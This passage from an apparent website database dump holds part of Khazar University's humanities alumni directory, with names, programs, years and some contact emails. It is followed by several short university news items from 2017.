margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Said Aliyev</strong>&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sabir Nabiyev&nbsp;</strong>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sakina Rzayeva</strong>&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Shahsanam Garayeva &nbsp;</strong>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Shahnaz Hasanzade &nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Journalism&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor &nbsp;2006</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Shahla Gulamova&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Shahin Khalili&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Shahmar Ahmadov&nbsp;</strong>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-top:15.0pt;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;line-height:normal;background:white\"\"=\"\"><strong></strong></p><h3 id=\"T\"><strong>T</strong></h3><p><strong>Tural Aliyev </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>International Relations, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Turalaliyev303@gmail.com\">Turalaliyev303[at]gmail.com</a> &nbsp;</p>\r\n<p>In a military service</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Tabriz Abdinli </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Politology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:tebriz_abdinli94@mail.ru\">tebriz_abdinli94[at]mail.ru</a></p>\r\n<p><strong><br></strong></p><p><strong>Turkesh Mammadov </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Politology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:tr.mammadov@gmail.com\">tr.mammadov[at]gmail.com</a> &nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Tahmina Mammadova</strong></p>\r\n<p>School of Humanities and Social Sciences </p>\r\n<p>Translation, 2017</p>\r\n<p>E-mail: <a href=\"mailto:memmedova132@mail.ru\">memmedova132[at]mail.ru</a></p>\r\n<p><strong><br></strong></p><p><strong>Turan Ahmadli</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Translation, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Turanahmedov@bk.ru\">Turanahmedov[at]bk.ru</a>&nbsp;&nbsp;&nbsp; </p>\r\n<p>ADIU, MA student</p>\r\n<p>“Education home” course teacher</p>\r\n<p><strong><br></strong></p><p><strong>Tarlan Ganbarova </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Clinical Psychology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:terlanqenberova@gmail.com\">terlanqenberova[at]gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Talib Talibzade&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Tabriz Gurbanli&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Turkay Rajabli&nbsp;</strong>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Tural Amanov&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2007&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Turkan Mustafazade&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">English Language and Literature&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012 &nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Tamasha Orujzade&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Tural&nbsp;&nbsp;Babayev&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">AccesBank Chief specialist</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Tunzala&nbsp;Jabbarova&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Moscow Ant Yapi construction company</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:Grace_19@mail.ru\">Grace_19@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2013</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Tarlan Bakhtiyarov</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In a military service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-top:15.0pt;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;line-height:normal;background:white\"\"=\"\"><strong></strong></p><h3 id=\"U\"><strong>U</strong></h3><br>\r\n<p><strong>Ulkar Rasulova </strong></p><p>School of Humanities and Social Sciences</p>\r\n<p>English Language and Literature, 2017</p>\r\n<p>E-mail: <a href=\"mailto:ulya95_sw@outlook.com\">ulya95_sw[at]outlook.com</a></p>\r\n<p>“Esperanto”and&nbsp;“Master Class” course &nbsp;English language teacher</p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ulvi Allahverdi&nbsp;</strong>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ulkar Jamalova&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">English Language and Literature</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ulkar Hasanova&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ulvin Safarov</strong>&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Journalism&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-top:15.0pt;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;line-height:normal;background:white\"\"=\"\"><strong></strong></p><h3 id=\"V\"><strong>V</strong></h3><p><strong>Vusala Khalilova</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Translation, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Vusale_22@mail.ru\">Vusale_22[at]mail.ru</a> &nbsp;</p>\r\n<p>&nbsp;&nbsp;</p>\r\n<p><strong>Vusal Alguliyev </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Psychology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:vusal.alquliyev@mail.ru\">vusal.alquliyev[at]mail.ru</a></p>\r\n<p>“Humel” psixology Center Clinic\r\npsychologist</p>\r\n<p><strong><br></strong></p><p><strong>Vafa Hashimova </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Clinical Psychology, 2017</p>\r\n<p>General Psychology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:hesimli2016@yandex.com\">hesimli2016[at]yandex.com</a></p>\r\n<p>Doctor in polyclinic</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Vusala Yusifli </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Psychology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:vusale.yusifli.95@mail.ru\">vusale.yusifli.95[at]mail.ru</a> &nbsp;</p>\r\n<p><br></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Vazdifa Karimzade&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Vusala&nbsp;İsayeva&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Vahid Huseynov&nbsp;</strong>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies, Bachelor (english-arab)</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Authority, &nbsp;Shah Deniz 2 OnShore Terminal&nbsp;Facility\r\nConstruction Works Project</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<strong><a href=\"mailto:vahid.huseynov@gmail.com\">vahid.huseynov@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2013 &nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-top:15.0pt;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;line-height:normal;background:white\"\"=\"\"><strong></strong></p><h3 id=\"Y\"><strong>Y</strong></h3><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Yegana Baghirova&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">General Linguistics</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master 2011&nbsp;(Honor&nbsp;)&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Yilmaz Garakhanli</strong>&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Yegana Aghayeva</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">English Language/Linguistics</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">BDU|English Language İnstructor </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:agayevayegane@yahoo.com\">agayevayegane@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Magistr</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-top:15.0pt;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;line-height:normal;background:white\"\"=\"\"><strong></strong></p><h3 id=\"Z\">Z</h3><p style=\"background:undefined\"><strong>Ziya Gasimli</strong></p><p>School of Humanities and Social Sciences</p><p>International Relations, 2017</p><p>E-mail:&nbsp;<a href=\"mailto:zy.gasimli@gmail.com\">zy.gasimli[at]gmail.com</a></p><p>In a military service</p><p>&nbsp;</p><p><strong>Zuleykha Asadova</strong></p><p>School of Humanities and Social Sciences</p><p>Translation, 2017</p><p>E-mail:&nbsp;<a href=\"mailto:zulka94@mail.ru\">zulka94[at]mail.ru</a></p><p><strong><br></strong></p><p><strong>Zeynab Bayramova</strong></p><p>School of Humanities and Social Sciences</p><p>“Xəzri” Education Center,&nbsp;English language teacher</p><p>Education: ASU, Linguistics \\MA</p><p>&nbsp;</p><p><strong>Zeynab Taghiyeva</strong></p><p>School of Humanities and Social Sciences<strong></strong></p><p>Psychology, 2017</p><p>E-mail:&nbsp;<a href=\"mailto:zeyneb.zz21@gmail.com\">zeyneb.zz21[at]gmail.com</a></p>  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br>\r\n</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Zakir Alibayli&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Journalism&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Zahid Huseynov&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011</p>'),(4916,2870,'en','Rector of Khazar University visits Gazi University in Ankara, Turkey','The Rector of Khazar University, Dr. Hassan Niknafs, visited Gazi University in Ankara, Turkey and met with the Rector Gazi University...','<p>The Rector of Khazar University, Dr. Hassan Niknafs, visited Gazi\r\nUniversity in Ankara, Turkey and met with the Rector Gazi University, Prof. Dr.\r\nIbrahim Uslan and the vice-Rector, Prof. Dr. Yashar Aydemir.</p>\r\n<p>The main goal of this visit was to establish student exchange\r\npossibilities under the Mevlana and the Erasmus+ programs. Also, establishing a\r\ndual-degree program (BS level) in Civil Engineering in between the two\r\nuniversities was discussed.</p>'),(3373,1981,'en','“Financial Literacy” Seminar at Khazar University','On March 10, 2017,  Mr. Azad Cavadov, Executive Director of Azerbaijan Deposit Insurance Fund (ADIF), delivered a seminar on Financial Literacy for students of Khazar University...','<p>On March 10, 2017, &nbsp;Mr. Azad Cavadov, Executive\r\nDirector of Azerbaijan Deposit Insurance Fund (ADIF), delivered a seminar on\r\nFinancial Literacy for students of Khazar University. The meeting took place on\r\nthe Neftchilar Campus of the university. A question and answer session\r\nfollowed. </p>\r\n<p>The representatives of ADIF then made a presentation\r\nfor Khazar University students about the activities of ADIF and presented gifts\r\nto students.&nbsp; They also gave information about &nbsp;the ADIF summer\r\ninternship offer for Khazar University students. &nbsp;</p>'),(3374,1982,'en','Article about Khazar University graduate','On March 10, 2017, the 1 news site ran a story about Khayala Eylazova, Khazar University graduate who majored in international economic relations. The author of the article...','<p>On March\r\n10, 2017, the 1 news site ran a story about Khayala Eylazova, Khazar University\r\ngraduate who majored in international economic relations. The author of the\r\narticle entitled “Хаяла Эйлазова – соавтор лучшей технологической разработки в\r\nбизнес-школе Кембриджа” is Елена Остапенко. </p>\r\n<p>The\r\narticle is available at the following link:</p>\r\n<p><a href=\"http://www.1news.az/mobile/society/20170310024218688.html\">http://www.1news.az/mobile/society/20170310024218688.html</a>\r\n</p>'),(3375,1973,'en','Khazar University Holds Bake Sale for Charity','On March 7, 2017, the School of Education held a bake sale in the entrances of the old and new buildings (Neftchilar Campus) to support a charity cause. Khazar University students...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">On March 7, 2017, the School of\r\nEducation held a bake sale in the entrances of the old and new buildings\r\n(Neftchilar Campus) to support a charity cause. Khazar University students,\r\nfaculty and staff members participated in the event. Proceeds (366,60 AZN) were\r\ndonated to a Khazar University master’s student who has leukemia and a\r\nfour-year-old child named Ayla with thalassemia.&nbsp;</p>'),(3545,1942,'en','“Ernst & Young” at Khazar University','On March 6, 2017, at 15:00 we invite you to the meeting with “Ernst & Young”...','<p style=\"\" line-height:normal;background:white\"=\"\">On March 6, 2017, at 15:00 we invite\r\nyou to the meeting with “Ernst &amp; Young” , one of the audit companies\r\nincluded into \"Great four\".</p>\r\n<p style=\"\" line-height:normal;background:white\"=\"\">To meet with the “Ernst &amp; Young”\r\nstaff is a unique opportunity to learn more about the company`s employment\r\nrequirements. </p>\r\n<p style=\"\" line-height:normal;background:white\"=\"\">Within the framework of the seminar\r\nthe representatives of the human recourses office will give information on the\r\nmistakes done during job applications, the ways of successful job interview and\r\ncorporative atmosphere.&nbsp;&nbsp; </p>\r\n<p style=\"\" line-height:normal;background:white\"=\"\">All who wish are welcome to our\r\nmeeting.</p>'),(3546,2065,'en',' “Springer” Publishes One More Khazar University Staff Member\'s Book','On April 12, 2017, the well-known publishing house \"Springer\" confirmed to publish the book of Rovshen Abbasov, head of the Geography and Environment Department, Khazar...','<p>On April 12, 2017, the well-known publishing house\r\n\"Springer\" confirmed to publish the book of Rovshen Abbasov, head of the\r\nGeography and Environment Department, Khazar University.</p>\r\n<p>The title of the book is \"Children and Disaster Risk\r\nManagement: A Case Study of Gabala District, Azerbaijan\".</p>\r\n<p>Note that, the book was tendered to the publishing house in January,\r\n2016 and was reviewed three times.&nbsp;</p>'),(3547,2071,'en','Khazar Faculty Member’s Article Published in Russia','The article of Valida Kerimova, PhD candidate and Dean\'s assistant of School of Humanities and Social Sciences at Khazar University, entitled “Развитие иностранных...','<p>The article of Valida Kerimova, PhD candidate and Dean\'s assistant of\r\nSchool of Humanities and Social Sciences at Khazar University, entitled <em>“Развитие иностранных\r\nязыков как способ общественной дипломатии”</em>&nbsp;was published in\r\n14<sup>th</sup> issue of the scientific journal “<em>Молодой\r\nученый</em>” printed in Kazan, Tatarstan\r\n(Russian Federation). </p>\r\n<p>The research deals with\r\na foreign language as means of communication, contrasts language and\r\ncommunication, expands on language usage aims in contemporary world. </p>\r\n<p>Read the full article\r\nhere: <a href=\"https://moluch.ru/archive/148/41511/\">https://moluch.ru/archive/148/41511/</a></p>'),(3553,2086,'az','Tarix və arxeologiya departamentinin müəllimi beynəlxalq simpoziumda məruzə etdi','2017-ci il aprelin 10-dan 13-dək Azərbaycan Milli Elmlər Akademiyası Qafqazşünaslıq İnstitutunun Ermənişünaslıq şöbəsinin müdiri, Xəzər Universiteti Tarix və arxeologiya...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il aprelin 10-dan 13-dək Azərbaycan Milli\r\nElmlər Akademiyası Qafqazşünaslıq İnstitutunun Ermənişünaslıq şöbəsinin müdiri,\r\nXəzər Universiteti Tarix və arxeologiya departamentinin müəllimi<strong> </strong>t.ü.f.d. Ziyad Əmrahov Ankarada Türkiyə\r\nCümhuriyyəti Başbakanlık Atatürk Kültür, Dil və Tarix Yüksək Qurumu və Qazi Universitetinin\r\nbirgə təşkil etdiyi professor Xəlil İnalcığın xatirəsinə həsr olunmuş “Tarix və\r\ntarixşünaslıq” adlı beynəlxalq simpoziumda “Tarixi araşdırma metodları və növləri”\r\nmövzusunda məruzə etdi.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Z.Əmrahov məruzəsinin sonunda tarixi tədqiqat 